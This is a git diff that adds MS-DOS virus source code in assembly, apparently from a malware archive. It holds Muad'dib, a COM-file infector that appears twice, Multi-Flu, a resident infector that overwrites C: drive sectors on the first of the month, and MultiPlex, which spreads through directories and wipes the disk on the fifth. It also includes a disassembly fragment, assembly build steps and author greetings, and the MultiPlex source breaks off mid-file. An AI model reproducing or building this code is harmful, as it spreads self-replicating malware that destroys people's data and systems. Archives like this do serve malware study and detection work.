carry=0 + sub al,2 +loc_118: + or dl,dl ; Zero ? +;* jnz loc_123 ;*Jump if not zero + db 75h, 43h + push ax + mov al,1 + mov bl,8Ah + mov ch,bl + cmp dh,3 + je loc_119 ; Jump if equal + inc bx +loc_119: +;* call sub_15 ;*(0424) + db 0E8h, 04h,0FBh + pop ax + popf ; Pop flags + push ax + jc loc_120 ; Jump if carry Set + mov ax,1F80h + test ah,[si-1Dh] + jz loc_120 ; Jump if zero + stosb ; Store al to es:[di] + mov al,0E1h + stosw ; Store ax to es:[di] +loc_120: + pop ax + mov bl,0D3h + mov dl,1 + les bx,dword ptr [si+1Ah] ; Load 32 bit ptr + nop ;*ASM fixup - displacement + test al,[bx+16h] + add [bp+si],ax + test bl,dl + push ss + add [bp+si],ax + test ax,ax + push ss + add [bp+si],ax + test cx,si + push ss + add [bp+si],ax + xchg al,ds:data_13e[di] ; (5F44:0116=0FFh) + add al,[bx+di] + mov al,ds:data_11e ; (5F44:0071=0FFh) + add di,ax + pop es +loc_125: + mov dh,[si+1] +;* call sub_20 ;*(046B) + db 0E8h, 0Bh,0FBh + xchg ax,dx + cmp bl,0C1h + je loc_126 ; Jump if equal + shr al,1 ; Shift w/zeros fill + jc loc_127 ; Jump if carry Set + xchg ax,bx + stosb ; Store al to es:[di] + xchg ax,dx +loc_126: + stosb ; Store al to es:[di] +loc_127: + mov [si+2],ch +loc_128: + mov dh,[si+1] + xor dl,dl ; Zero register + retn +sub_40 endp + + mov bl,0C1h + popf ; Pop flags + jnc loc_129 ; Jump if carry=0 + mov ch,bl + test dl,8 + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_43 proc near + jz loc_129 ; Jump if zero + neg dl + xor al,1 +loc_129: + and dl,0Fh + jz loc_128 ; Jump if zero + cmp dl,1 + je loc_130 ; Jump if equal + cmp ah,[si-1Dh] + je loc_125 ; Jump if equal +loc_130: + mov bl,0D1h + cmp dl,3 + jb loc_125 ; Jump if below + push ax + mov al,0B1h + mov ah,dl + stosw ; Store ax to es:[di] +;* jmp short loc_124 ;*(0955) +sub_43 endp + + db 0EBh,0B0h + mov al,[si+1] + cbw ; Convrt byte to word + push ax + cmp di,359h + jae loc_131 ; Jump if above or = + mov bx,ax + mov [bx+si-10h],bh +loc_131: + or dl,dl ; Zero ? + jnz loc_132 ; Jump if not zero + mov bl,8Bh + call sub_17 ; (0444) + jnc loc_133 ; Jump if carry=0 +loc_132: + or al,0B8h + stosb ; Store al to es:[di] + xchg ax,dx + stosw ; Store ax to es:[di] +loc_133: + pop ax + retn + db 0A2h, 8Ah, 02h, 00h, 00h, 74h + +seg_a ends + + + + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.muad%27dib.asm b/MSDOS/Virus.MSDOS.Unknown.muad%27dib.asm new file mode 100644 index 00000000..35940d2c --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.muad%27dib.asm @@ -0,0 +1,213 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; +; MUAD'DIB VIRUS ; +;****************************************************************************; + ideal + model tiny + codeseg + org 100h +top: db 'CP' + db 058h,04bh + jmp near main + nop + nop + nop + mov dx,offset _warn + mov ah,9 + int 21h + mov ax,04c00h + int 21h + +_warn db 'Deze file was besmet met het Muad''dib Virus$' + +main: push ax + push bx + push cx + push dx + push di + push si + push es + push ds + call dummy +dummy: pop bx + mov si,bx + add si,200h ; Address of data! + lea dx,[si+6] + mov ah,1ah + int 21h ; Set DTA + + mov dx,si + mov cl,0ffh + mov ah,04eh + int 21h ; Findfirst + jc noluck ; Nah, error +checkit:jmp is_ill +fnext: lea dx,[si + 6] + mov ah,04fh + int 21h + jc noluck + jmp checkit + + +noluck: + mov ax,[word si + 6 + 44] ; Current + mov [word cs:100h], ax + mov ax,[word si + 6 + 44 + 2] + mov [word cs:102h], ax + mov ax,[word si + 6 + 44 + 4] + mov [word cs:104h], ax + mov ax,[word si + 6 + 44 + 6] + mov [word cs:106h], ax + pop ds + pop es + pop si + pop di + pop dx + pop cx + pop bx + pop ax + mov ax,100h ; Goor! + push ax ; Maar 't werkt wel! + ret + +is_ill: + lea dx,[si + 36] ; Name of file +; mov ah,9 +; int 21h ; For information... + mov ah,03dh ; Fopen + mov al,2 ; RW-access + int 21h + jc fnext ; !?@!? Couldn't open + push ax + + pop bx ; Handle + push bx + mov ah,3fh ; Read + mov cx,8 ; 8 please + lea dx,[si + 6 + 44 + 8] ; Offset buffer (inf buf) + int 21h + + cmp [word si + 6 + 44 + 8], 05043h ; Zick yet? + je issick ; YEAH! + + pop bx + push bx + mov ax,04200h ; Moef vijlpointer + xor cx,cx + xor dx,dx ; 0L + int 21h ; Move filepointer + + mov ax,[si + 6 + 26] ; Fsize + sub ax,7 + mov [si + 6 + 44 + 8 + 8 + 5],ax ; Set jump (jumpbuf) + + pop bx ; Handle + push bx + mov ah,40h ; Write + mov cx,8 ; 8 please + lea dx,[si + 6 + 44 + 8 + 8] ; Offset buffer (jumpbuf) + int 21h + + pop bx ; Handle + push bx + mov ax,04202h ; Moef vijlpointer (einde) + xor cx,cx + xor dx,dx ; 0L + int 21h ; Move filepointer + + call swap + + pop bx ; Handle + push bx + mov ah,40h ; Write + mov cx,1000 ; ADJUST + lea dx,[si - 200h - 11] ; Offset buffer + int 21h ; Wreit + + call swap + +close: pop bx + mov ah,03eh + int 21h + jmp noluck ; Ready! + + +issick: pop bx + mov ah,03eh + int 21h + jmp fnext + +swap: + mov ax,[word si + 6 + 44] + xchg [word si + 6 + 44 + 8], ax + mov [word si + 6 + 44], ax + mov ax,[word si + 6 + 44 + 2] + xchg [word si + 6 + 44 + 8 + 2], ax + mov [word si + 6 + 44 + 2], ax + mov ax,[word si + 6 + 44 + 4] + xchg [word si + 6 + 44 + 8 + 4], ax + mov [word si + 6 + 44 + 4], ax + mov ax,[word si + 6 + 44 + 6] + xchg [word si + 6 + 44 + 8 + 6], ax + mov [word si + 6 + 44 + 6], ax + ret + + org dummy + 200h + db '*.COM',0 + db 44 dup ('D') + db 8 dup (090h) ; Current buffer + db 8 dup ('C') ; Inf buffer + db 043h,050h,058h,04bh,0e9h + db 0,0,0,'$' + end top + +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; + +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ; +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ; +;ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ; +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ; + diff --git a/MSDOS/Virus.MSDOS.Unknown.muad'dib.asm b/MSDOS/Virus.MSDOS.Unknown.muad'dib.asm new file mode 100644 index 00000000..35940d2c --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.muad'dib.asm @@ -0,0 +1,213 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; +; MUAD'DIB VIRUS ; +;****************************************************************************; + ideal + model tiny + codeseg + org 100h +top: db 'CP' + db 058h,04bh + jmp near main + nop + nop + nop + mov dx,offset _warn + mov ah,9 + int 21h + mov ax,04c00h + int 21h + +_warn db 'Deze file was besmet met het Muad''dib Virus$' + +main: push ax + push bx + push cx + push dx + push di + push si + push es + push ds + call dummy +dummy: pop bx + mov si,bx + add si,200h ; Address of data! + lea dx,[si+6] + mov ah,1ah + int 21h ; Set DTA + + mov dx,si + mov cl,0ffh + mov ah,04eh + int 21h ; Findfirst + jc noluck ; Nah, error +checkit:jmp is_ill +fnext: lea dx,[si + 6] + mov ah,04fh + int 21h + jc noluck + jmp checkit + + +noluck: + mov ax,[word si + 6 + 44] ; Current + mov [word cs:100h], ax + mov ax,[word si + 6 + 44 + 2] + mov [word cs:102h], ax + mov ax,[word si + 6 + 44 + 4] + mov [word cs:104h], ax + mov ax,[word si + 6 + 44 + 6] + mov [word cs:106h], ax + pop ds + pop es + pop si + pop di + pop dx + pop cx + pop bx + pop ax + mov ax,100h ; Goor! + push ax ; Maar 't werkt wel! + ret + +is_ill: + lea dx,[si + 36] ; Name of file +; mov ah,9 +; int 21h ; For information... + mov ah,03dh ; Fopen + mov al,2 ; RW-access + int 21h + jc fnext ; !?@!? Couldn't open + push ax + + pop bx ; Handle + push bx + mov ah,3fh ; Read + mov cx,8 ; 8 please + lea dx,[si + 6 + 44 + 8] ; Offset buffer (inf buf) + int 21h + + cmp [word si + 6 + 44 + 8], 05043h ; Zick yet? + je issick ; YEAH! + + pop bx + push bx + mov ax,04200h ; Moef vijlpointer + xor cx,cx + xor dx,dx ; 0L + int 21h ; Move filepointer + + mov ax,[si + 6 + 26] ; Fsize + sub ax,7 + mov [si + 6 + 44 + 8 + 8 + 5],ax ; Set jump (jumpbuf) + + pop bx ; Handle + push bx + mov ah,40h ; Write + mov cx,8 ; 8 please + lea dx,[si + 6 + 44 + 8 + 8] ; Offset buffer (jumpbuf) + int 21h + + pop bx ; Handle + push bx + mov ax,04202h ; Moef vijlpointer (einde) + xor cx,cx + xor dx,dx ; 0L + int 21h ; Move filepointer + + call swap + + pop bx ; Handle + push bx + mov ah,40h ; Write + mov cx,1000 ; ADJUST + lea dx,[si - 200h - 11] ; Offset buffer + int 21h ; Wreit + + call swap + +close: pop bx + mov ah,03eh + int 21h + jmp noluck ; Ready! + + +issick: pop bx + mov ah,03eh + int 21h + jmp fnext + +swap: + mov ax,[word si + 6 + 44] + xchg [word si + 6 + 44 + 8], ax + mov [word si + 6 + 44], ax + mov ax,[word si + 6 + 44 + 2] + xchg [word si + 6 + 44 + 8 + 2], ax + mov [word si + 6 + 44 + 2], ax + mov ax,[word si + 6 + 44 + 4] + xchg [word si + 6 + 44 + 8 + 4], ax + mov [word si + 6 + 44 + 4], ax + mov ax,[word si + 6 + 44 + 6] + xchg [word si + 6 + 44 + 8 + 6], ax + mov [word si + 6 + 44 + 6], ax + ret + + org dummy + 200h + db '*.COM',0 + db 44 dup ('D') + db 8 dup (090h) ; Current buffer + db 8 dup ('C') ; Inf buffer + db 043h,050h,058h,04bh,0e9h + db 0,0,0,'$' + end top + +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; + +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ; +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ; +;ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ; +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ; + diff --git a/MSDOS/Virus.MSDOS.Unknown.multiflu.asm b/MSDOS/Virus.MSDOS.Unknown.multiflu.asm new file mode 100644 index 00000000..4609bd5b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.multiflu.asm @@ -0,0 +1,369 @@ +; Virusname: Multi-Flu +; Origin : Sweden +; Author : Metal Militia/Immortal Riot +; +; Multi-Flu's a resident infector of .COM files (w/the exception of +; COMMAND.COM when they're executed. If the date's the first of any +; month it'll overwrite 9999 sectors on the C: drive, thereby rendering +; it useless. After this it still goes resident though, just in case the +; user started the infected file from some other drive. +; +; To assembly this: Use Tasm Filename.asm +; Tlink Filename.obj +; Exe2bin Filename.exe Virus.com + +CODE SEGMENT + ASSUME CS:CODE,DS:CODE,ES:CODE,SS:CODE + +SVIR EQU $ ; Start of FULL virus code + + +VLENGTH EQU EOV-SVIR ; Size of virus +GTHANG EQU 1994h ; Paragraphs from TOP O' MEM + ; to put us + +ENTRY: CALL GETDELTA ; Get the DELTA offset + NOP +GETDELTA: + POP BP + SUB BP,OFFSET(GETDELTA)-1 ; Calculate it + +START PROC NEAR + CALL ROCKME ; Find total number o' paragraphs + SUB AX,GTHANG ; Get segment of where our copy + JMP PUSH_ME ; might be + db "COPY ME, SO I CAN TRAVEL!!!!!" +PUSH_ME: + PUSH AX + POP ES + JMP PUSH_ME_AGAIN_CAUSE_I_SAY_SO + db "Why am i so fly? ;)" +PUSH_ME_AGAIN_CAUSE_I_SAY_SO: + CALL MOVE_DA_LIL_BABE + PUSH CS + POP ES ; Get ID thang from segment + ; (viral= + CALL FUNKY + +ALREADY_IN_DA_MEM_THANG: + CMP CX,CS:[BP+OFFSET(TAG)] ; Already in memory? + JZ ORGIT ; If so, RET(urn) to org. proggy + JMP INSTALL ; Else, install us.. + +ORGIT: LEA SI,[BP+OFFSET(FIRSTCODE)] + MOV CX,SMILELEN + + CALL FUNKY ; Lets 'FUNK' out :) + + MOV DI,100h ; di equal 100h (sov) + + REP MOVSB ; Copy org. bytes to da place + + CALL FUNKY ; Yet anotha FUNK calling + + MOV AX,100h ; AX = 100h + PUSH AX ; And push it.... + RET ; Return to org. dude + +MOVE_DA_LIL_BABE: + MOV CX,ES:TAG ; Is mah lil' grafitti tag here? + +FUNKY: RET ; RET to code caller + +INSTALL: + MOV AX,3521h ; Get vector (INT 21h) + INT 21h ; --------------^ + + CALL FUNKY + + MOV CS:[BP+OFFSET(OLD21A)],BX ; Save the old one + MOV CS:[BP+OFFSET(OLD21B)],ES ; here right now + + CALL FUNKY + CALL ROCKME ; See above in the code + + SUB AX,GTHANG ; How much to put MEMRES + PUSH AX ; Mhmmm.. + JMP PUSH_SOME_MORE_ONES + DB "Mmm.. Mmm.. Mmm.." + +PUSH_SOME_MORE_ONES: + PUSH AX + POP ES ; Segment (destination) + JMP PUSH_THANG + DB "For the smell of it!!!!!" +PUSH_THANG: + PUSH CS + POP DS ; Segment (source) + + CALL FUNKY + + MOV SI,BP ; Start of virus = DELTA thang + MOV DI,0 ; Sub di,di or Xor di,di + JMP VIR_LEN_ME_NOW + db "MULTIMULTIMULTIMULTI" +VIR_LEN_ME_NOW: + MOV CX,OFFSET VLENGTH ; Virus length + + REP MOVSB ; Move our lazy ass there + + POP DS + MOV DX,OFFSET(VECTOR) ; Now, offset *OUR* INT21 + + CALL FUNKY + + MOV AX,2521h ; Set vector (INT 21h) + INT 21h + + PUSH CS + POP ES + + CALL FUNKY + + PUSH CS + POP DS ; Segments (reset) + + MOV AH,2Ah ; Get date + INT 21h + + CMP DL,1 ; First of any month? + JNE PHUNKSTER ; If not, go on as normal + ; Else, NUKE!!!!! +FUCK_EM: + MOV AL,2 ; [C:] drive + MOV CX,270h ; 9999 sectors + CWD ; starting with the 'BOOT' + INT 26h ; Direct diskwrite + POPF +PHUNKSTER: + JMP ORGIT + +START ENDP + +ROCKME PROC NEAR + INT 12h ; Gimme total numba + jmp cx_me ; o' kilobytes mem + + db "MULTI-FLU v1.0" + +cx_me: + MOV CX,1024 ; one kilobyte equal 1024 bytes + jmp multi_kewl + + db "(c) 1994 Metal Militia" + +multi_kewl: + MUL CX ; a 'multiply' i guess + jmp seg_me + + db "Immortal Riot" + +seg_me: + MOV CX,16 ; Segment (16 bytes in each) + jmp div_kewl + + db "Sweden" + +div_kewl: + DIV CX ; Divide (AX & DX by CX) + + RET ; Back to code caller +ROCKME ENDP + +TSMILE EQU $ + +IRNOP: XCHG AX,AX ; Or.. shall we say, NOP!!!!! + DB 0BBh ; BX (MOV) +VMENOW DW 0 ; offset our code + PUSH BX ; push.... + RET ; and jump to it + +BSMILE EQU $ +SMILELEN EQU BSMILE-TSMILE ; Length of this "procedure" + +OLD21A DW 0 +OLD21B DW 0 ;Original INT 21h vector + +TEXTONE DB "M" + +BUFFA DW 0 ; Infectioncheck buffa + +TEXTTWO DB "U" + +EXEPHILEZ DB 'MZ' ; To see if the file's and .EXE + +TEXTTHREE DB "L" + +OTHEREXEZ DB 'ZM' ; See above + +COMMIECOM DB 0e9h, 0ddh ; Marker for COMMAND.COM in + ; MSDOS v6.x (perhaps others too) +TEXTFOUR DB "T" + +FIRSTCODE DB 0CDh + DB 20h ; Here we save the org. bytes + DB SMILELEN-2 DUP ('?') + +TEXTFIVE DB "i" + +OLDTIME DW 0 +OLDDATE DW 0 ;Old file time and date + +NOCHEINTEXT DB "FLU" + +FAKEIT PROC NEAR ; It's used to call org. INT 21h + PUSHF + CALL DWORD PTR CS:OLD21A ; Call the original + RET ; RET to code caller +FAKEIT ENDP + +VECTOR PROC NEAR ;INT 21h vector + NOP + + CMP AX,4B00h ; Exec 'em? + JE VTRIGGA ; If so, infect + + JMP DWORD PTR CS:OLD21A ; switch back to original INT21 +VTRIGGA: + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DI + PUSH ES + PUSH DS + PUSH BP ; Save all reg's + +INFECT: MOV AX,3D02h ; READ/WRITE (open file) + CALL FAKEIT + + XCHG BX,AX ; mov bx,ax + + MOV AX,5700h ; save the + CALL FAKEIT + + MOV CS:OLDTIME,CX ; original time + MOV CS:OLDDATE,DX ; and date here + JMP TIMER + + DB "All viruswriters worldwide" + +TIMER: + MOV CX,2 ; two bytes + JMP PUSH_IT_RIGHT_AT_THIS_MOMENT + + db "are to be gratulated!!!!!" + +PUSH_IT_RIGHT_AT_THIS_MOMENT: + PUSH CS + POP DS + JMP OPEN_DA_BUFFA_RIGHT_AWAY + + DB "FLUFLUFLUFLU" + +OPEN_DA_BUFFA_RIGHT_AWAY: + MOV DX,OFFSET BUFFA ; into this buffa + MOV AH,3Fh ; read 'em + CALL FAKEIT + JMP CHECK_IN_DA_BUFFA + + DB "Written during SUMMERTIME!!!!!" + +CHECK_IN_DA_BUFFA: + MOV DX,CS:BUFFA + CMP DX, WORD PTR [OFFSET IRNOP] ; Check if already infected + JE QUIT_IT ; if so, exit + CMP DX, WORD PTR [OFFSET EXEPHILEZ] ; Check if .EXE + JE QUIT_IT ; if so, exit + CMP DX, WORD PTR [OFFSET OTHEREXEZ] ; See above + JE QUIT_IT ; if so, exit + CMP DX, WORD PTR [OFFSET COMMIECOM] ; Check if COMMAND.COM + JNE KEEP_ON_SPREADING ; if not, infect the fucker +QUIT_IT: + JMP ENDINF ; Outa here (for now.. ) +KEEP_ON_SPREADING: + CALL SOF ; Goto start of file + + MOV CX,SMILELEN ; Offset the code we'll have first in + JMP UNIROCKER ; infected file, and jmp + db "Happy happy! Joy joy!" +UNIROCKER: + MOV DX,OFFSET(FIRSTCODE) ; Offset da buffa + + MOV AH,3Fh ; Read from it + CALL FAKEIT ; 'Fake' an INT 21h + + CALL EOF ; Goto end of file + + ADD AX,100h + JMP GO_FOR_IT + db "Winterkvist is" + +GO_FOR_IT: + MOV CS:VMENOW,AX ; Branch (set up code offset) + + MOV CX,VLENGTH ; Length of virus code + JMP WRITE_DA_VIRUS + db "a looser!!!!!" +WRITE_DA_VIRUS: + CWD ; Sub dx,dx or Xor dx,dx + + MOV AH,40h ; Write it + CALL FAKEIT + + CALL SOF ; FPOINTER thang + + MOV CX,SMILELEN ;Length of branch code + JMP WRITE_FIRST_BYTES + db "Greetings to the rest" +WRITE_FIRST_BYTES: + MOV DX,OFFSET(IRNOP) ;Write the branch code + + MOV AH,40h ;Write file or device + CALL FAKEIT + JMP ENDINF + db "of IMMORTAL RIOT" + +ENDINF: MOV CX,OLDTIME + MOV DX,OLDDATE + JMP ORG_TIME_BACK + DB "This is property of IR" + +ORG_TIME_BACK: + MOV AX,5701h ; restore original date/time + CALL FAKEIT + + MOV AH,3Eh ; close the file + CALL FAKEIT + +NO_FILE: + POP BP ; Pop all register (restore) + POP DS + POP ES + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + + JMP DWORD PTR CS:OLD21A ; Mission completed, back to old +EOF: + MOV AX,4202h ; Goto end of file + JMP XOR_EM +SOF: + MOV AX,4200h ; Goto start of file +XOR_EM: + SUB CX,CX + CWD + CALL FAKEIT + RET ; RET to code caller +VECTOR ENDP + +TAG DW 1234h ; Digi grafitti TAG for checking + ; if it's already in memory +EOV EQU $ ; Here the fun ends guys + +CODE ENDS + END diff --git a/MSDOS/Virus.MSDOS.Unknown.multiplx.asm b/MSDOS/Virus.MSDOS.Unknown.multiplx.asm new file mode 100644 index 00000000..c49c7836 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.multiplx.asm @@ -0,0 +1,283 @@ +; Virusname: MultiPlex +; Alias(es): None +; Origin : Sweden +; Author : Metal Militia/Immortal Riot +; +; Thisone's a non-res/non-ow/non-encrypted infector of .COM files which +; travels thrue one directory on your harddrive each time an infected +; file's executed. +; +; I'ts damage routine will be activated if the date's equal to the fifth +; of any month. If so, it does an good 'ol 256 which does it's dirty +; work just as good as MULTI-FLU's 9999. +; + + code segment + assume cs:code,ds:code,es:code + + org 0100h + +start_o_virus: mov si,0 ; sub/xor si,si + jmp mejntwo ; jump there + db 'IR' + +lengthovir equ offset tag+5-offset mejntwo ; Length of virus + +mejntwo: call nextline ; prepear to put ax in si (no 'BP' here) +nextline: pop ax ; Pop 'em + sub ax,offset nextline ; and offset + call xchg_it ; Now, exchange +mejnthree: call restore_one ; Restore the + call restore_two ; first original bytes + +getdir: mov ah,47h ; Get (current) directory + mov dl,00h ; to restore it later + push si ; Now, push it + lea bx,(origindir+si) ; and offset the + mov si,bx ; place to save it in + int 21h + jc lexit ; If there's an error, exit + + pop si ; Pop it + mov byte ptr ds:[rock+si],00h ; and set 'rock' to zero + +setdta: mov ah,1ah ; Now, set the DTA (needed + lea dx,(buffa+si) ; to be able to execute + int 21h ; programs with 'choices') + +findfile: lea dx,(searchein+si) ; What files to search for + call find_first ; Find first '*.com' + jnc openup ; If no error, infect + + cmp al,12h ; Was there no files left? + jne lexit ; If not, outa here!!!!! + jmp next_dir ; Move to the next dir + +lexit: jmp exit ; long exit jumps to small + + +openup: mov ah,3dh ; Open the file + mov al,02h + lea dx,(buffa+1eh+si) + int 21h + jc lexit + mov ds:[handle+si],ax + +movepoint: mov ah,42h ; mov ax,4202h + mov al,02h ; (move to end of file) + call bx_ds ; handle stuff + mov cx,cxequals + mov dx,dxequals + int 21h + jc lclose ; was there an error? + jmp checkmark ; if not, continue + +lclose: jmp close ; long close to short close + +checkmark: mov ah,3fh ; read in the first + call bx_ds + call cx_em ; see if already infected + lea dx,(firsties+si) ; so we read in the first + int 21h ; bytes to our buffa + jc lclose + lea di,(tag+si) ; read in our tag + lea ax,(firsties+si) ; does it match? + call xchg_it + call cx_em +compare: cmpsb + jnz infect ; if so, then + loop compare ; just go ahead + call xchg_it ; to hunt down + jmp next_file ; the next file + + +infect: call xchg_it + mov ah,42h ; move to start of file + mov al,00h + call bx_ds + sub cx,cx ; mov cx,0 xor cx,cx + cwd ; xor dx,dx sub dx,dx + int 21h + jc lclose + mov ah,3fh ; this time, read in + call bx_ds + lea dx,(oldstart+si) ; (saving in 'oldstart') + call cx_four ; the first four bytes + int 21h + jc lclose + mov ah,42h ; now, move to end of file + mov al,02h + call bx_ds + sub cx,cx ; xor cx,cx etc. etc. + cwd ; xor dx,dx etc. etc. + int 21h + jc lclose + sub ax,3h + mov word ptr ds:[jump+1+si],ax + call write_us ; call to write our code + mov ah,42h ; move to start of file + mov al,00h + call bx_ds + sub cx,cx + cwd + int 21h + call write_em ; write to file + call bx_ds + call cx_three ; 3 bytes + lea dx,(jump+si) ; our own 'JMP' + int 21h + call change_dir ; change directory + lea dx,(rootoz+si) ; to root + int 21h + + + jmp close ; now, close the file + +next_dir: cmp ds:[diroz],15 ; are we thrue with atleast + je exit ; 15 directories yet? exit! + mov ah,1ah ; Set the DTA to our + lea dx,(buffatwo+si) ; second '60 dup (0)' buffa + int 21h + call change_dir ; Change directory + call root_dir ; to the root + cmp byte ptr ds:[rock+si],00h ; Is 'rock' still zero? + jne nextdir2 ; If not, get next 'DIR' + mov byte ptr ds:[rock+si],0ffh ; Now set the 'flag' + lea dx,(searchzwei+si) ; and start to look for + sub cx,cx ; dir's instead + mov bx,cx + mov cl,10h + call find_first ; find first of 'em + jc exit ; error? outa here! + jmp chdir ; otherwise, get that DIR + +nextdir2: call find_next ; find next DIR + jc exit ; error, none left? exit! + + inc ds:[diroz+si] ; increase the flag to + ; tell we've found a DIR. +chdir: call change_dir ; change to that DIR + lea dx,(buffatwo+1eh+si) ; we've just found + int 21h + jmp setdta ; now, set the DTA again + +close: call close_em ; close everything + +runold: mov ah,2ah ; date date + int 21h + cmp dl,5 ; fifth of any month? + jne mov_jmp ; if not, outa here + mov al,2 ; C: + mov cx,256 ; 256 + cwd ; starting w/the boot + int 26h ; direct diskwrite + jmp $ ; hang computer + +mov_jmp: + mov ax,0100h ; and run the org. proggy + jmp ax + +next_file: call close_em ; call to close the file + + call find_next ; call to find next file + jc next_dir ; if none found, change + ; directory + jmp openup ; else, open and infect + +exit: mov ah,3bh ;call change_dir + lea dx,(origindir+si) ; offset 'current' + int 21h + jmp runold ; and run the org. proggy + +oldstart: mov ah,4ch + int 21h + +jump db 0e9h,0,0 ; our 'jmp' +virusname db ' MULTiPLEX ' +rock db 00h +c_author db '(c) 1994 Metal Militia' +rootdiroz db '\',00h +grouporigin db 'Immortal Riot, Sweden' +searchzwei db '*. ',00h +greetings db 'Somewhere, somehow, always :)' 